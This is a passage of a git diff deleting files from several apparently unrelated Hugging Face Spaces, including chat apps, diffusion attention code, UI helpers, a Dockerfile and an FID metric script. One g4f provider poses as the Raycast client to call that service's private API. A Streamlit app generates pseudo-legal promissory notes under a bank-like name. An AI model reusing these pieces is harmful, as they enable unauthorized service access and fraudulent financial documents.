model_name="gpt-3.5-turbo"), - prompt=prompt, - verbose=True, - memory=memory, -) - -def get_text_response(user_message,history): - response = llm_chain.predict(user_message = user_message) - return response - -demo = gr.ChatInterface(get_text_response) - -if __name__ == "__main__": - demo.launch() #To create a public link, set `share=True` in `launch()`. To enable errors and logs, set `debug=True` in `launch()`. diff --git a/spaces/AchyuthGamer/OpenGPT-v1/README.md b/spaces/AchyuthGamer/OpenGPT-v1/README.md deleted file mode 100644 index 615a35385856389796d4a27f34d84ad5b50e17cf..0000000000000000000000000000000000000000 --- a/spaces/AchyuthGamer/OpenGPT-v1/README.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: OpenGPT v1 -emoji: ⚡ -colorFrom: indigo -colorTo: indigo -sdk: docker -pinned: false -license: apache-2.0 ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference \ No newline at end of file diff --git a/spaces/AchyuthGamer/OpenGPT/client/css/options.css b/spaces/AchyuthGamer/OpenGPT/client/css/options.css deleted file mode 100644 index fb015a54e0a7f7ac521517357d812c994621592e..0000000000000000000000000000000000000000 --- a/spaces/AchyuthGamer/OpenGPT/client/css/options.css +++ /dev/null @@ -1,10 +0,0 @@ -.options-container { - display: flex; - flex-wrap: wrap; -} - -@media screen and (max-width: 990px) { - .options-container { - justify-content: space-between; - } -} diff --git a/spaces/AchyuthGamer/OpenGPT/g4f/Provider/Raycast.py b/spaces/AchyuthGamer/OpenGPT/g4f/Provider/Raycast.py deleted file mode 100644 index 7ddc8acd70f870bab1db90f3d279c37de4f46234..0000000000000000000000000000000000000000 --- a/spaces/AchyuthGamer/OpenGPT/g4f/Provider/Raycast.py +++ /dev/null @@ -1,72 +0,0 @@ -from __future__ import annotations - -import json - -import requests - -from ..typing import Any, CreateResult -from .base_provider import BaseProvider - - -class Raycast(BaseProvider): - url = "https://raycast.com" - supports_gpt_35_turbo = True - supports_gpt_4 = True - supports_stream = True - needs_auth = True - working = True - - @staticmethod - def create_completion( - model: str, - messages: list[dict[str, str]], - stream: bool, - **kwargs: Any, - ) -> CreateResult: - auth = kwargs.get('auth') - headers = { - 'Accept': 'application/json', - 'Accept-Language': 'en-US,en;q=0.9', - 'Authorization': f'Bearer {auth}', - 'Content-Type': 'application/json', - 'User-Agent': 'Raycast/0 CFNetwork/1410.0.3 Darwin/22.6.0', - } - parsed_messages = [] - for message in messages: - parsed_messages.append({ - 'author': message['role'], - 'content': {'text': message['content']} - }) - data = { - "debug": False, - "locale": "en-CN", - "messages": parsed_messages, - "model": model, - "provider": "openai", - "source": "ai_chat", - "system_instruction": "markdown", - "temperature": 0.5 - } - response = requests.post("https://backend.raycast.com/api/v1/ai/chat_completions", headers=headers, json=data, stream=True) - for token in response.iter_lines(): - if b'data: ' not in token: - continue - completion_chunk = json.loads(token.decode().replace('data: ', '')) - token = completion_chunk['text'] - if token != None: - yield token - - @classmethod - @property - def params(cls): - params = [ - ("model", "str"), - ("messages", "list[dict[str, str]]"), - ("stream", "bool"), - ("temperature", "float"), - ("top_p", "int"), - ("model", "str"), - ("auth", "str"), - ] - param = ", ".join([": ".join(p) for p in params]) - return f"g4f.provider.{cls.__name__} supports: ({param})" diff --git a/spaces/Adapter/CoAdapter/ldm/modules/attention.py b/spaces/Adapter/CoAdapter/ldm/modules/attention.py deleted file mode 100644 index 88a4d4727a4a337206ecd1dcf559ce90efa3401e..0000000000000000000000000000000000000000 --- a/spaces/Adapter/CoAdapter/ldm/modules/attention.py +++ /dev/null @@ -1,344 +0,0 @@ -from inspect import isfunction -import math -import torch -import torch.nn.functional as F -from torch import nn, einsum -from einops import rearrange, repeat -from typing import Optional, Any - -from ldm.modules.diffusionmodules.util import checkpoint - - -try: - import xformers - import xformers.ops - XFORMERS_IS_AVAILBLE = True -except: - XFORMERS_IS_AVAILBLE = False - -# CrossAttn precision handling -import os -_ATTN_PRECISION = os.environ.get("ATTN_PRECISION", "fp32") - -if os.environ.get("DISABLE_XFORMERS", "false").lower() == 'true': - XFORMERS_IS_AVAILBLE = False - - -def exists(val): - return val is not None - - -def uniq(arr): - return{el: True for el in arr}.keys() - - -def default(val, d): - if exists(val): - return val - return d() if isfunction(d) else d - - -def max_neg_value(t): - return -torch.finfo(t.dtype).max - - -def init_(tensor): - dim = tensor.shape[-1] - std = 1 / math.sqrt(dim) - tensor.uniform_(-std, std) - return tensor - - -# feedforward -class GEGLU(nn.Module): - def __init__(self, dim_in, dim_out): - super().__init__() - self.proj = nn.Linear(dim_in, dim_out * 2) - - def forward(self, x): - x, gate = self.proj(x).chunk(2, dim=-1) - return x * F.gelu(gate) - - -class FeedForward(nn.Module): - def __init__(self, dim, dim_out=None, mult=4, glu=False, dropout=0.): - super().__init__() - inner_dim = int(dim * mult) - dim_out = default(dim_out, dim) - project_in = nn.Sequential( - nn.Linear(dim, inner_dim), - nn.GELU() - ) if not glu else GEGLU(dim, inner_dim) - - self.net = nn.Sequential( - project_in, - nn.Dropout(dropout), - nn.Linear(inner_dim, dim_out) - ) - - def forward(self, x): - return self.net(x) - - -def zero_module(module): - """ - Zero out the parameters of a module and return it. - """ - for p in module.parameters(): - p.detach().zero_() - return module - - -def Normalize(in_channels): - return torch.nn.GroupNorm(num_groups=32, num_channels=in_channels, eps=1e-6, affine=True) - - -class SpatialSelfAttention(nn.Module): - def __init__(self, in_channels): - super().__init__() - self.in_channels = in_channels - - self.norm = Normalize(in_channels) - self.q = torch.nn.Conv2d(in_channels, - in_channels, - kernel_size=1, - stride=1, - padding=0) - self.k = torch.nn.Conv2d(in_channels, - in_channels, - kernel_size=1, - stride=1, - padding=0) - self.v = torch.nn.Conv2d(in_channels, - in_channels, - kernel_size=1, - stride=1, - padding=0) - self.proj_out = torch.nn.Conv2d(in_channels, - in_channels, - kernel_size=1, - stride=1, - padding=0) - - def forward(self, x): - h_ = x - h_ = self.norm(h_) - q = self.q(h_) - k = self.k(h_) - v = self.v(h_) - - # compute attention - b,c,h,w = q.shape - q = rearrange(q, 'b c h w -> b (h w) c') - k = rearrange(k, 'b c h w -> b c (h w)') - w_ = torch.einsum('bij,bjk->bik', q, k) - - w_ = w_ * (int(c)**(-0.5)) - w_ = torch.nn.functional.softmax(w_, dim=2) - - # attend to values - v = rearrange(v, 'b c h w -> b c (h w)') - w_ = rearrange(w_, 'b i j -> b j i') - h_ = torch.einsum('bij,bjk->bik', v, w_) - h_ = rearrange(h_, 'b c (h w) -> b c h w', h=h) - h_ = self.proj_out(h_) - - return x+h_ - - -class CrossAttention(nn.Module): - def __init__(self, query_dim, context_dim=None, heads=8, dim_head=64, dropout=0.): - super().__init__() - inner_dim = dim_head * heads - context_dim = default(context_dim, query_dim) - - self.scale = dim_head ** -0.5 - self.heads = heads - - self.to_q = nn.Linear(query_dim, inner_dim, bias=False) - self.to_k = nn.Linear(context_dim, inner_dim, bias=False) - self.to_v = nn.Linear(context_dim, inner_dim, bias=False) - - self.to_out = nn.Sequential( - nn.Linear(inner_dim, query_dim), - nn.Dropout(dropout) - ) - - def forward(self, x, context=None, mask=None): - h = self.heads - - q = self.to_q(x) - context = default(context, x) - k = self.to_k(context) - v = self.to_v(context) - - q, k, v = map(lambda t: rearrange(t, 'b n (h d) -> (b h) n d', h=h), (q, k, v)) - - # force cast to fp32 to avoid overflowing - if _ATTN_PRECISION =="fp32": - with torch.autocast(enabled=False, device_type = 'cuda'): - q, k = q.float(), k.float() - sim = einsum('b i d, b j d -> b i j', q, k) * self.scale - else: - sim = einsum('b i d, b j d -> b i j', q, k) * self.scale - - del q, k - - if exists(mask): - mask = rearrange(mask, 'b ... -> b (...)') - max_neg_value = -torch.finfo(sim.dtype).max - mask = repeat(mask, 'b j -> (b h) () j', h=h) - sim.masked_fill_(~mask, max_neg_value) - - # attention, what we cannot get enough of - sim = sim.softmax(dim=-1) - - out = einsum('b i j, b j d -> b i d', sim, v) - out = rearrange(out, '(b h) n d -> b n (h d)', h=h) - return self.to_out(out) - - -class MemoryEfficientCrossAttention(nn.Module): - # https://github.com/MatthieuTPHR/diffusers/blob/d80b531ff8060ec1ea982b65a1b8df70f73aa67c/src/diffusers/models/attention.py#L223 - def __init__(self, query_dim, context_dim=None, heads=8, dim_head=64, dropout=0.0): - super().__init__() - print(f"Setting up {self.__class__.__name__}. Query dim is {query_dim}, context_dim is {context_dim} and using " - f"{heads} heads.") - inner_dim = dim_head * heads - context_dim = default(context_dim, query_dim) - - self.heads = heads - self.dim_head = dim_head - - self.to_q = nn.Linear(query_dim, inner_dim, bias=False) - self.to_k = nn.Linear(context_dim, inner_dim, bias=False) - self.to_v = nn.Linear(context_dim, inner_dim, bias=False) - - self.to_out = nn.Sequential(nn.Linear(inner_dim, query_dim), nn.Dropout(dropout)) - self.attention_op: Optional[Any] = None - - def forward(self, x, context=None, mask=None): - q = self.to_q(x) - context = default(context, x) - k = self.to_k(context) - v = self.to_v(context) - - b, _, _ = q.shape - q, k, v = map( - lambda t: t.unsqueeze(3) - .reshape(b, t.shape[1], self.heads, self.dim_head) - .permute(0, 2, 1, 3) - .reshape(b * self.heads, t.shape[1], self.dim_head) - .contiguous(), - (q, k, v), - ) - - # actually compute the attention, what we cannot get enough of - out = xformers.ops.memory_efficient_attention(q, k, v, attn_bias=None, op=self.attention_op) - - if exists(mask): - raise NotImplementedError - out = ( - out.unsqueeze(0) - .reshape(b, self.heads, out.shape[1], self.dim_head) - .permute(0, 2, 1, 3) - .reshape(b, out.shape[1], self.heads * self.dim_head) - ) - return self.to_out(out) - - -class BasicTransformerBlock(nn.Module): - ATTENTION_MODES = { - "softmax": CrossAttention, # vanilla attention - "softmax-xformers": MemoryEfficientCrossAttention - } - def __init__(self, dim, n_heads, d_head, dropout=0., context_dim=None, gated_ff=True, checkpoint=True, - disable_self_attn=False): - super().__init__() - attn_mode = "softmax-xformers" if XFORMERS_IS_AVAILBLE else "softmax" - assert attn_mode in self.ATTENTION_MODES - attn_cls = self.ATTENTION_MODES[attn_mode] - self.disable_self_attn = disable_self_attn - self.attn1 = attn_cls(query_dim=dim, heads=n_heads, dim_head=d_head, dropout=dropout, - context_dim=context_dim if self.disable_self_attn else None) # is a self-attention if not self.disable_self_attn - self.ff = FeedForward(dim, dropout=dropout, glu=gated_ff) - self.attn2 = attn_cls(query_dim=dim, context_dim=context_dim, - heads=n_heads, dim_head=d_head, dropout=dropout) # is self-attn if context is none - self.norm1 = nn.LayerNorm(dim) - self.norm2 = nn.LayerNorm(dim) - self.norm3 = nn.LayerNorm(dim) - self.checkpoint = checkpoint - - def forward(self, x, context=None): - return checkpoint(self._forward, (x, context), self.parameters(), self.checkpoint) - - def _forward(self, x, context=None): - x = self.attn1(self.norm1(x), context=context if self.disable_self_attn else None) + x - x = self.attn2(self.norm2(x), context=context) + x - x = self.ff(self.norm3(x)) + x - return x - - -class SpatialTransformer(nn.Module): - """ - Transformer block for image-like data. - First, project the input (aka embedding) - and reshape to b, t, d. - Then apply standard transformer action. - Finally, reshape to image - NEW: use_linear for more efficiency instead of the 1x1 convs - """ - def __init__(self, in_channels, n_heads, d_head, - depth=1, dropout=0., context_dim=None, - disable_self_attn=False, use_linear=False, - use_checkpoint=True): - super().__init__() - if exists(context_dim) and not isinstance(context_dim, list): - context_dim = [context_dim] - self.in_channels = in_channels - inner_dim = n_heads * d_head - self.norm = Normalize(in_channels) - if not use_linear: - self.proj_in = nn.Conv2d(in_channels, - inner_dim, - kernel_size=1, - stride=1, - padding=0) - else: - self.proj_in = nn.Linear(in_channels, inner_dim) - - self.transformer_blocks = nn.ModuleList( - [BasicTransformerBlock(inner_dim, n_heads, d_head, dropout=dropout, context_dim=context_dim[d], - disable_self_attn=disable_self_attn, checkpoint=use_checkpoint) - for d in range(depth)] - ) - if not use_linear: - self.proj_out = zero_module(nn.Conv2d(inner_dim, - in_channels, - kernel_size=1, - stride=1, - padding=0)) - else: - self.proj_out = zero_module(nn.Linear(in_channels, inner_dim)) - self.use_linear = use_linear - - def forward(self, x, context=None): - # note: if no context is given, cross-attention defaults to self-attention - if not isinstance(context, list): - context = [context] - b, c, h, w = x.shape - x_in = x - x = self.norm(x) - if not self.use_linear: - x = self.proj_in(x) - x = rearrange(x, 'b c h w -> b (h w) c').contiguous() - if self.use_linear: - x = self.proj_in(x) - for i, block in enumerate(self.transformer_blocks): - x = block(x, context=context[i]) - if self.use_linear: - x = self.proj_out(x) - x = rearrange(x, 'b (h w) c -> b c h w', h=h, w=w).contiguous() - if not self.use_linear: - x = self.proj_out(x) - return x + x_in \ No newline at end of file diff --git a/spaces/Admin08077/Cosmosis/app.py b/spaces/Admin08077/Cosmosis/app.py deleted file mode 100644 index 92d453e0f46d6f3533327b13d19934e4229ba131..0000000000000000000000000000000000000000 --- a/spaces/Admin08077/Cosmosis/app.py +++ /dev/null @@ -1,90 +0,0 @@ -import streamlit as st -import pandas as pd -import smtplib - -# Custom CSS for fancy styling -st.markdown(""" - -""", unsafe_allow_html=True) - -st.markdown("
        THE IPN APP BY:
        ", unsafe_allow_html=True) -st.markdown("
        Citibank Demo Business Inc.
        ", unsafe_allow_html=True) - -class PromissoryNote: - def __init__(self, instrument_id, order_of, place_issued, date_issued, - numeric_amount, amount, debtor_name, autograph_date): - self.instrument_id = instrument_id - self.order_of = order_of - self.place_issued = place_issued - self.date_issued = date_issued - self.numeric_amount = numeric_amount - self.amount = amount - self.debtor_name = debtor_name - self.autograph_date = autograph_date - - def get_details(self): - return { - 'Instrument ID': self.instrument_id, - 'Order Of': self.order_of, - 'Place Issued': self.place_issued, - 'Date Issued': self.date_issued, - 'Numeric Amount': self.numeric_amount, - 'Amount': self.amount, - 'Debtor Name': self.debtor_name, - 'Autograph Date': self.autograph_date - } - - def create_note(self): - return f'WORLD CITIZENS OF THE SOLAR MONMATIA INTERNATIONAL PROMISSORY NOTE...\n{self.get_details()}...ANY ALTERATION OR ERASURE VOIDS THIS CERTIFICATE...' - -def send_email(note_details): - # Dummy email sending function - pass - -def save_to_csv(note_details): - # Convert the note details dictionary to a DataFrame - df = pd.DataFrame([note_details]) - # Append the note details to an existing CSV file - df.to_csv('promissory_notes.csv', mode='a', header=False) - -def main(): - st.title("Promissory Note Generator") - - instrument_id = st.text_input("Enter the instrument ID: ") - order_of = st.text_input("Enter the order of: ") - place_issued = st.text_input("Enter the place issued: ") - date_issued = st.date_input("Enter the date issued: ") - numeric_amount = st.text_input("Enter the numeric amount: ") - amount = st.text_input("Enter the amount: ") - debtor_name = st.text_input("Enter the debtor name: ") - autograph_date = st.date_input("Enter the autograph date: ") - - if st.button("Generate Note"): - new_note = PromissoryNote(instrument_id, order_of, place_issued, date_issued, numeric_amount, - amount, debtor_name, autograph_date) - note_details = new_note.get_details() - - # Display Note - st.text_area("Generated Note:", new_note.create_note()) - - # Save to CSV - save_to_csv(note_details) - st.success('Note saved to CSV.') - - # Send Email Notification (dummy function, replace with actual code) - send_email(note_details) - st.success('Email notification sent.') - -if __name__ == '__main__': - main() \ No newline at end of file diff --git a/spaces/AgentVerse/agentVerse/agentverse/agents/tasksolving_agent/manager.py b/spaces/AgentVerse/agentVerse/agentverse/agents/tasksolving_agent/manager.py deleted file mode 100644 index 76161b50ae87d5dd512fdb0b24d1d5aaeafa2f78..0000000000000000000000000000000000000000 --- a/spaces/AgentVerse/agentVerse/agentverse/agents/tasksolving_agent/manager.py +++ /dev/null @@ -1,116 +0,0 @@ -from __future__ import annotations - -import asyncio -from colorama import Fore - -from agentverse.logging import get_logger -import bdb -from string import Template -from typing import TYPE_CHECKING, List, Tuple - -from agentverse.message import Message - -from agentverse.agents import agent_registry -from agentverse.agents.base import BaseAgent -from agentverse.utils import AgentCriticism - -import random -from rapidfuzz import fuzz - - -logger = get_logger() - - -@agent_registry.register("manager") -class ManagerAgent(BaseAgent): - prompt_template: str - - def step( - self, - former_solution: str, - candidate_critic_opinions: List[AgentCriticism], - advice: str, - task_description: str = "", - previous_sentence: str = "", - ) -> Message: - logger.debug("", self.name, Fore.MAGENTA) - - prompt = self._fill_prompt_template( - former_solution, - candidate_critic_opinions, - advice, - task_description, - previous_sentence, - ) - - logger.debug(f"Prompt:\n{prompt}", "Manager", Fore.CYAN) - parsed_response = None - for i in range(self.max_retry): - try: - # LLM Manager - # response = self.llm.generate_response(prompt) - # parsed_response = self.output_parser.parse(response) - selected_role_description = self.llm.generate_response(prompt).content - candidate_score_list = [ - fuzz.ratio(candidate.sender, selected_role_description) - for candidate in candidate_critic_opinions - ] - selected_index = candidate_score_list.index(max(candidate_score_list)) - candidate_critic_opinion = candidate_critic_opinions[selected_index] - - # Random Manager - # parsed_response = random.choice(candidate_critic_opinions) - break - except (KeyboardInterrupt, bdb.BdbQuit): - raise - except Exception as e: - logger.error(e) - logger.warn("Retrying...") - continue - return candidate_critic_opinion - - async def astep(self, env_description: str = "") -> Message: - """Asynchronous version of step""" - pass - - def _fill_prompt_template( - self, - former_solution: str, - candidate_critic_opinions: List[AgentCriticism], - advice: str, - task_description: str, - previous_sentence: str, - ) -> str: - """Fill the placeholders in the prompt template - - In the role_assigner agent, three placeholders are supported: - - ${task_description} - - ${former_solution} - - ${critic_messages} - - ${advice} - - ${previous_sentence} - """ - input_arguments = { - "task_description": task_description, - "former_solution": former_solution, - "previous_sentence": previous_sentence, - "critic_opinions": "\n".join( - [ - f"Role: {critic.sender}. {critic.sender_agent.role_description} said: {critic.content}" - for critic in candidate_critic_opinions - ] - ), - "advice": advice, - } - - # manger select the proper sentence - template = Template(self.prompt_template) - return template.safe_substitute(input_arguments) - - def add_message_to_memory(self, messages: List[Message]) -> None: - self.memory.add_message(messages) - - def reset(self) -> None: - """Reset the agent""" - self.memory.reset() - # TODO: reset receiver diff --git a/spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/ui/maker/builders/CreatePages.js b/spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/ui/maker/builders/CreatePages.js deleted file mode 100644 index bb3767643a72581b834f4ec3ff59c7e9f9aebea4..0000000000000000000000000000000000000000 --- a/spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/ui/maker/builders/CreatePages.js +++ /dev/null @@ -1,8 +0,0 @@ -import CreateAnySizer from './utils/CreateAnySizer.js'; -import Pages from '../../pages/Pages.js'; - -var CreatePages = function (scene, data, view, styles, customBuilders) { - return CreateAnySizer(scene, data, view, styles, customBuilders, Pages); -} - -export default CreatePages; \ No newline at end of file diff --git a/spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/ui/sides/defaultcallbacks/GetDefaultCallbacks.js b/spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/ui/sides/defaultcallbacks/GetDefaultCallbacks.js deleted file mode 100644 index 6738d506ed3094130e5ce5876f3e7f350ac6ef47..0000000000000000000000000000000000000000 --- a/spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/ui/sides/defaultcallbacks/GetDefaultCallbacks.js +++ /dev/null @@ -1,32 +0,0 @@ -import VisibleCallbacks from './VisibleCallbacks.js'; -import FadeCallbacks from './FadeCallbacks.js'; -import MoveCallbacks from './MoveCallbacks.js'; -import MovePanelCallbacks from './MovePanelCallbacks.js'; -import NOOP from '../../../../plugins/utils/object/NOOP.js'; - -const DefaultCallbacks = { - visible: VisibleCallbacks, - fade: FadeCallbacks, - move: MoveCallbacks, - 'move-panel': MovePanelCallbacks -} - -var GetDefaultCallbacks = function (config) { - var callbackType, callbackParams; - [callbackType, ...callbackParams] = (typeof (config) === 'string') ? [config] : config; - - var showCallback, hideCallback; - if (DefaultCallbacks.hasOwnProperty(callbackType)) { - showCallback = DefaultCallbacks[callbackType].show.apply(null, callbackParams); - hideCallback = DefaultCallbacks[callbackType].hide.apply(null, callbackParams); - } else { - showCallback = NOOP; - hideCallback = NOOP; - } - return { - show: showCallback, - hide: hideCallback - } -} - -export default GetDefaultCallbacks; \ No newline at end of file diff --git a/spaces/AlanMars/QYL-AI-Space/Dockerfile b/spaces/AlanMars/QYL-AI-Space/Dockerfile deleted file mode 100644 index 85d5045d5316ac160277af1e7d60afa823c0f953..0000000000000000000000000000000000000000 --- a/spaces/AlanMars/QYL-AI-Space/Dockerfile +++ /dev/null @@ -1,18 +0,0 @@ -FROM python:3.9-slim-buster as builder -RUN apt-get update \ - && apt-get install -y build-essential \ - && apt-get clean \ - && rm -rf /var/lib/apt/lists/* -COPY requirements.txt . -COPY requirements_advanced.txt . -RUN pip install --user --no-cache-dir -r requirements.txt -# RUN pip install --user --no-cache-dir -r requirements_advanced.txt - -FROM python:3.9-slim-buster -LABEL maintainer="iskoldt" -COPY --from=builder /root/.local /root/.local -ENV PATH=/root/.local/bin:$PATH -COPY . /app -WORKDIR /app -ENV dockerrun=yes -CMD ["python3", "-u", "ChuanhuChatbot.py","2>&1", "|", "tee", "/var/log/application.log"] diff --git a/spaces/AlexWang/lama/saicinpainting/evaluation/losses/fid/fid_score.py b/spaces/AlexWang/lama/saicinpainting/evaluation/losses/fid/fid_score.py deleted file mode 100644 index 6ca8e602c21bb6a624d646da3f6479aea033b0ac..0000000000000000000000000000000000000000 --- a/spaces/AlexWang/lama/saicinpainting/evaluation/losses/fid/fid_score.py +++ /dev/null @@ -1,328 +0,0 @@ -#!/usr/bin/env python3 -"""Calculates the Frechet Inception Distance (FID) to evalulate GANs - -The FID metric calculates the distance between two distributions of images. -Typically, we have summary statistics (mean & covariance matrix) of one -of these distributions, while the 2nd distribution is given by a GAN. - -When run as a stand-alone program, it compares the distribution of -images that are stored as PNG/JPEG at a specified location with a -distribution given by summary statistics (in pickle format). - -The FID is calculated by assuming that X_1 and X_2 are the activations of -the pool_3 layer of the inception net for generated samples and real world -samples respectively. - -See --help to see further details. - -Code apapted from https://github.com/bioinf-jku/TTUR to use PyTorch instead -of Tensorflow - -Copyright 2018 Institute of Bioinformatics, JKU Linz - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -""" -import os -import pathlib -from argparse import ArgumentDefaultsHelpFormatter, ArgumentParser - -import numpy as np -import torch -# from scipy.misc import imread -from imageio import imread -from PIL import Image, JpegImagePlugin -from scipy import linalg -from torch.nn.functional import adaptive_avg_pool2d -from torchvision.transforms import CenterCrop, Compose, Resize, ToTensor - -try: - from tqdm import tqdm -except ImportError: - # If not tqdm is not available, provide a mock version of it - def tqdm(x): return x - -try: - from .inception import InceptionV3 -except ModuleNotFoundError: - from inception import InceptionV3 - -parser = ArgumentParser(formatter_class=ArgumentDefaultsHelpFormatter) -parser.add_argument('path', type=str, nargs=2, - help=('Path to the generated images or ' - 'to .npz statistic files')) -parser.add_argument('--batch-size', type=int, default=50, - help='Batch size to use') -parser.add_argument('--dims', type=int, default=2048, - choices=list(InceptionV3.BLOCK_INDEX_BY_DIM), - help=('Dimensionality of Inception features to use. ' - 'By default, uses pool3 features')) -parser.add_argument('-c', '--gpu', default='', type=str, - help='GPU to use (leave blank for CPU only)') -parser.add_argument('--resize', default=256) - -transform = Compose([Resize(256), CenterCrop(256), ToTensor()]) - - -def get_activations(files, model, batch_size=50, dims=2048, - cuda=False, verbose=False, keep_size=False): - """Calculates the activations of the pool_3 layer for all images. - - Params: - -- files : List of image files paths - -- model : Instance of inception model - -- batch_size : Batch size of images for the model to process at once. - Make sure that the number of samples is a multiple of - the batch size, otherwise some samples are ignored. This - behavior is retained to match the original FID score - implementation. - -- dims : Dimensionality of features returned by Inception - -- cuda : If set to True, use GPU - -- verbose : If set to True and parameter out_step is given, the number - of calculated batches is reported. - Returns: - -- A numpy array of dimension (num images, dims) that contains the - activations of the given tensor when feeding inception with the - query tensor. - """ - model.eval() - - if len(files) % batch_size != 0: - print(('Warning: number of images is not a multiple of the ' - 'batch size. Some samples are going to be ignored.')) - if batch_size > len(files): - print(('Warning: batch size is bigger than the data size. ' - 'Setting batch size to data size')) - batch_size = len(files) - - n_batches = len(files) // batch_size - n_used_imgs = n_batches * batch_size - - pred_arr = np.empty((n_used_imgs, dims)) - - for i in tqdm(range(n_batches)): - if verbose: - print('\rPropagating batch %d/%d' % (i + 1, n_batches), - end='', flush=True) - start = i * batch_size - end = start + batch_size - - # # Official code goes below - # images = np.array([imread(str(f)).astype(np.float32) - # for f in files[start:end]]) - - # # Reshape to (n_images, 3, height, width) - # images = images.transpose((0, 3, 1, 2)) - # images /= 255 - # batch = torch.from_numpy(images).type(torch.FloatTensor) - # # - - t = transform if not keep_size else ToTensor() - - if isinstance(files[0], pathlib.PosixPath): - images = [t(Image.open(str(f))) for f in files[start:end]] - - elif isinstance(files[0], Image.Image): - images = [t(f) for f in files[start:end]] - - else: - raise ValueError(f"Unknown data type for image: {type(files[0])}") - - batch = torch.stack(images) - - if cuda: - batch = batch.cuda() - - pred = model(batch)[0] - - # If model output is not scalar, apply global spatial average pooling. - # This happens if you choose a dimensionality not equal 2048. - if pred.shape[2] != 1 or pred.shape[3] != 1: - pred = adaptive_avg_pool2d(pred, output_size=(1, 1)) - - pred_arr[start:end] = pred.cpu().data.numpy().reshape(batch_size, -1) - - if verbose: - print(' done') - - return pred_arr - - -def calculate_frechet_distance(mu1, sigma1, mu2, sigma2, eps=1e-6): - """Numpy implementation of the Frechet Distance. - The Frechet distance between two multivariate Gaussians X_1 ~ N(mu_1, C_1) - and X_2 ~ N(mu_2, C_2) is - d^2 = ||mu_1 - mu_2||^2 + Tr(C_1 + C_2 - 2*sqrt(C_1*C_2)). - - Stable version by Dougal J. Sutherland. - - Params: - -- mu1 : Numpy array containing the activations of a layer of the - inception net (like returned by the function 'get_predictions') - for generated samples. - -- mu2 : The sample mean over activations, precalculated on an - representative data set. - -- sigma1: The covariance matrix over activations for generated samples. - -- sigma2: The covariance matrix over activations, precalculated on an - representative data set. - - Returns: - -- : The Frechet Distance. - """ - - mu1 = np.atleast_1d(mu1) - mu2 = np.atleast_1d(mu2) - - sigma1 = np.atleast_2d(sigma1) - sigma2 = np.atleast_2d(sigma2) - - assert mu1.shape == mu2.shape, \ - 'Training and test mean vectors have different lengths' - assert sigma1.shape == sigma2.shape, \ - 'Training and test covariances have different dimensions' - - diff = mu1 - mu2 - - # Product might be almost singular - covmean, _ = linalg.sqrtm(sigma1.dot(sigma2), disp=False) - if not np.isfinite(covmean).all(): - msg = ('fid calculation produces singular product; ' - 'adding %s to diagonal of cov estimates') % eps - print(msg) - offset = np.eye(sigma1.shape[0]) * eps - covmean = linalg.sqrtm((sigma1 + offset).dot(sigma2 + offset)) - - # Numerical error might give slight imaginary component - if np.iscomplexobj(covmean): - # if not np.allclose(np.diagonal(covmean).imag, 0, atol=1e-3): - if not np.allclose(np.diagonal(covmean).imag, 0, atol=1e-2): - m = np.max(np.abs(covmean.imag)) - raise ValueError('Imaginary component {}'.format(m)) - covmean = covmean.real - - tr_covmean = np.trace(covmean) - - return (diff.dot(diff) + np.trace(sigma1) + - np.trace(sigma2) - 2 * tr_covmean) - - -def calculate_activation_statistics(files, model, batch_size=50, - dims=2048, cuda=False, verbose=False, keep_size=False): - """Calculation of the statistics used by the FID. - Params: - -- files : List of image files paths - -- model : Instance of inception model - -- batch_size : The images numpy array is split into batches with - batch size batch_size. A reasonable batch size - depends on the hardware. - -- dims : Dimensionality of features returned by Inception - -- cuda : If set to True, use GPU - -- verbose : If set to True and parameter out_step is given, the - number of calculated batches is reported. - Returns: - -- mu : The mean over samples of the activations of the pool_3 layer of - the inception model. - -- sigma : The covariance matrix of the activations of the pool_3 layer of - the inception model. - """ - act = get_activations(files, model, batch_size, dims, cuda, verbose, keep_size=keep_size) - mu = np.mean(act, axis=0) - sigma = np.cov(act, rowvar=False) - return mu, sigma - - -def _compute_statistics_of_path(path, model, batch_size, dims, cuda): - if path.endswith('.npz'): - f = np.load(path) - m, s = f['mu'][:], f['sigma'][:] - f.close() - else: - path = pathlib.Path(path) - files = list(path.glob('*.jpg')) + list(path.glob('*.png')) - m, s = calculate_activation_statistics(files, model, batch_size, - dims, cuda) - - return m, s - - -def _compute_statistics_of_images(images, model, batch_size, dims, cuda, keep_size=False): - if isinstance(images, list): # exact paths to files are provided - m, s = calculate_activation_statistics(images, model, batch_size, - dims, cuda, keep_size=keep_size) - - return m, s - - else: - raise ValueError - - -def calculate_fid_given_paths(paths, batch_size, cuda, dims): - """Calculates the FID of two paths""" - for p in paths: - if not os.path.exists(p): - raise RuntimeError('Invalid path: %s' % p) - - block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[dims] - - model = InceptionV3([block_idx]) - if cuda: - model.cuda() - - m1, s1 = _compute_statistics_of_path(paths[0], model, batch_size, - dims, cuda) - m2, s2 = _compute_statistics_of_path(paths[1], model, batch_size, - dims, cuda) - fid_value = calculate_frechet_distance(m1, s1, m2, s2) - - return fid_value - - -def calculate_fid_given_images(images, batch_size, cuda, dims, use_globals=False, keep_size=False): - if use_globals: - global FID_MODEL # for multiprocessing - - for imgs in images: - if isinstance(imgs, list) and isinstance(imgs[0], (Image.Image, JpegImagePlugin.JpegImageFile)): - pass - else: - raise RuntimeError('Invalid images') - - block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[dims] - - if 'FID_MODEL' not in globals() or not use_globals: - model = InceptionV3([block_idx]) - if cuda: - model.cuda() - - if use_globals: - FID_MODEL = model - - else: - model = FID_MODEL - - m1, s1 = _compute_statistics_of_images(images[0], model, batch_size, - dims, cuda, keep_size=False) - m2, s2 = _compute_statistics_of_images(images[1], model, batch_size, - dims, cuda, keep_size=False) - 